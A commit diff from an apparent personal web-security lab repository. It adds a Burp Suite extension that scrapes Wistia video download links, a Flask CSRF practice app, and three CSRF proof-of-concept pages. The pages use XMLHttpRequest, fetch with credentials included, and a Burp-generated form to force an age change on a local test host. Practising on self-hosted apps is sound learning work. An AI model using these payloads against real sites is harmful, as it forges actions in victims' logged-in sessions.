CSRF02

Author: greyshell

web/burp_plug-in/downloader_kc.py

@@ -0,0 +1,47 @@
+#!/usr/bin/env python3
+
+# author: greyshell
+# description: extract the dwl links
+
+# setup Imports
+from burp import IBurpExtender
+from burp import IHttpListener
+from burp import IHttpRequestResponse
+
+
+# Class BurpExtender (Required) contaning all functions used to interact with Burp Suite API
+class BurpExtender(IBurpExtender, IHttpListener, IHttpRequestResponse):
+    # define registerExtenderCallbacks: From IBurpExtender Interface
+
+    def registerExtenderCallbacks(self, callbacks):
+        # keep a reference to our callbacks object (Burp Extensibility Feature)
+        self._callbacks = callbacks
+        # obtain an extension helpers object (Burp Extensibility Feature)
+        # http://portswigger.net/burp/extender/api/burp/IExtensionHelpers.html
+        self._helpers = callbacks.getHelpers()
+        # set our extension name that will display in Extender Tab
+        self._callbacks.setExtensionName("get URL")
+        # register ourselves as an HTTP listener
+        callbacks.registerHttpListener(self)
+
+    # define processHttpMessage: From IHttpListener Interface
+    def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo):
+        # determine what tool we would like to pass though our extension:
+        if toolFlag == 4:  # if tool is Proxy Tab
+            # determine if request or response:
+
+            if not messageIsRequest:  # only handle responses
+                response = messageInfo.getResponse()  # get Response from IHttpRequestResponse instance
+                analyzedResponse = self._helpers.analyzeResponse(response)  # returns IResponseInfo
+                headerList = analyzedResponse.getHeaders()  # get Headers from IResponseInfo Instance
+
+                jsondata = response.tostring()
+                videourl = jsondata.find('"url":"https://embed-ssl.wistia.com/deliveries/')
+                created = jsondata.find('","created_at"')
+                if videourl > 0:
+                    download_link = jsondata[videourl + 7:created]
+                    print(download_link)
+                    with open("results.txt", "a") as f:
+                        f.write(download_link)
+                        f.write("\n")
+                    messageInfo.setHighlight("blue")  # set Highlight Color to blue

web/csrf/README.md

@@ -0,0 +1,6 @@
+# Description
+
+- this app is running on the black.com domain. 
+- /etc/apache2/sites-enabled/ -> black.com.conf 
+- start the app and the apache server
+- PoC for CSRF exploitation

web/csrf01/app.py web/csrf/app.pyweb/csrf01/app.py renamed to web/csrf/app.py

@@ -4,9 +4,9 @@
 
 import os
 
-from flask import Flask, render_template, session, redirect, url_for, jsonify
+from flask import Flask, render_template, session, redirect, url_for, jsonify, make_response
 from flask import request
-from web.csrf01.models import *
+from web.csrf.models import *
 
 templates_path = os.path.abspath(
         './template/'
@@ -60,6 +60,13 @@ def welcome():
     return render_template('welcome.html', user=user)
 
 
+@app.route('/setcookie', methods=['GET'])
+def setcookie():
+    resp = make_response("Cookie set")
+    resp.set_cookie("color", "black")
+    return resp
+
+
 @app.route('/update_age', methods=['POST'])
 def update_age():
     user = get_logged_in_user()

web/csrf01/exploit_notworking.html web/csrf/exploit_XmlHttpRequest.htmlweb/csrf01/exploit_notworking.html renamed to web/csrf/exploit_XmlHttpRequest.html

@@ -1,10 +1,10 @@
-<html>
+<html lang="en">
 <!-- This PoC script will send the request without any user interaction-->
 
 <script type="text/javascript">
     // Vulnerable URL and POST parameters: http://0.tcp.ngrok.io:19944/update_age
-    var url = "http://0.tcp.ngrok.io:11665/update_age";
-    var params = "age=92";
+    var url = "http://black.com/update_age";
+    var params = "age=50";
 
     var CSRF = new XMLHttpRequest();
     CSRF.open("POST", url, true);

web/csrf01/exploit_fetch.html web/csrf/exploit_fetch.htmlweb/csrf01/exploit_fetch.html renamed to web/csrf/exploit_fetch.html

@@ -1,28 +1,28 @@
-<html>
+<html lang="en">
 <!-- This PoC script will send the request without any user interaction-->
 <body>
 <script type="text/javascript">
     // Vulnerable URL and POST parameters: http://0.tcp.ngrok.io:19944/update_age
-    var url = "http://0.tcp.ngrok.io:11665/update_age";
-    var params = "age=91";
+    var url = "http://black.com/update_age";
+    var params = "age=19";
 
     // Example POST method implementation:
     async function postData(url = '', data = {}) {
         // Default options are marked with *
-        const response = await fetch(url, {
+        return await fetch(url, {
             method: 'POST', // *GET, POST, PUT, DELETE, etc.
             mode: 'no-cors', // no-cors, *cors, same-origin
             //cache: 'no-cache', // *default, no-cache, reload, force-cache, only-if-cached
-            credentials: 'include', // include, *same-origin, omit
+            //credentials: 'same-origin', // include, *same-origin, omit
+            credentials: 'include',
             //headers: {
             //'Content-Type': 'application/json'
             // 'Content-Type': 'application/x-www-form-urlencoded',
             //},
             //redirect: 'follow', // manual, *follow, error
             //referrerPolicy: 'no-referrer', // no-referrer, *no-referrer-when-downgrade, origin, origin-when-cross-origin, same-origin, strict-origin, strict-origin-when-cross-origin, unsafe-url
             body: data // body data type must match "Content-Type" header
-        });
-        return response; // parses JSON response into native JavaScript objects
+        }); // parses JSON response into native JavaScript objects
     }
 
     postData(url, params)

web/csrf/exploit_form_post.html

@@ -0,0 +1,10 @@
+<html>
+<!-- CSRF PoC - generated by Burp Suite Professional -->
+<body>
+<script>history.pushState('', '', '/')</script>
+<form action="http://black.com/update_age" method="POST" enctype="text/plain">
+    <input type="hidden" name="age" value="51"/>
+    <input type="submit" value="Submit request"/>
+</form>
+</body>
+</html>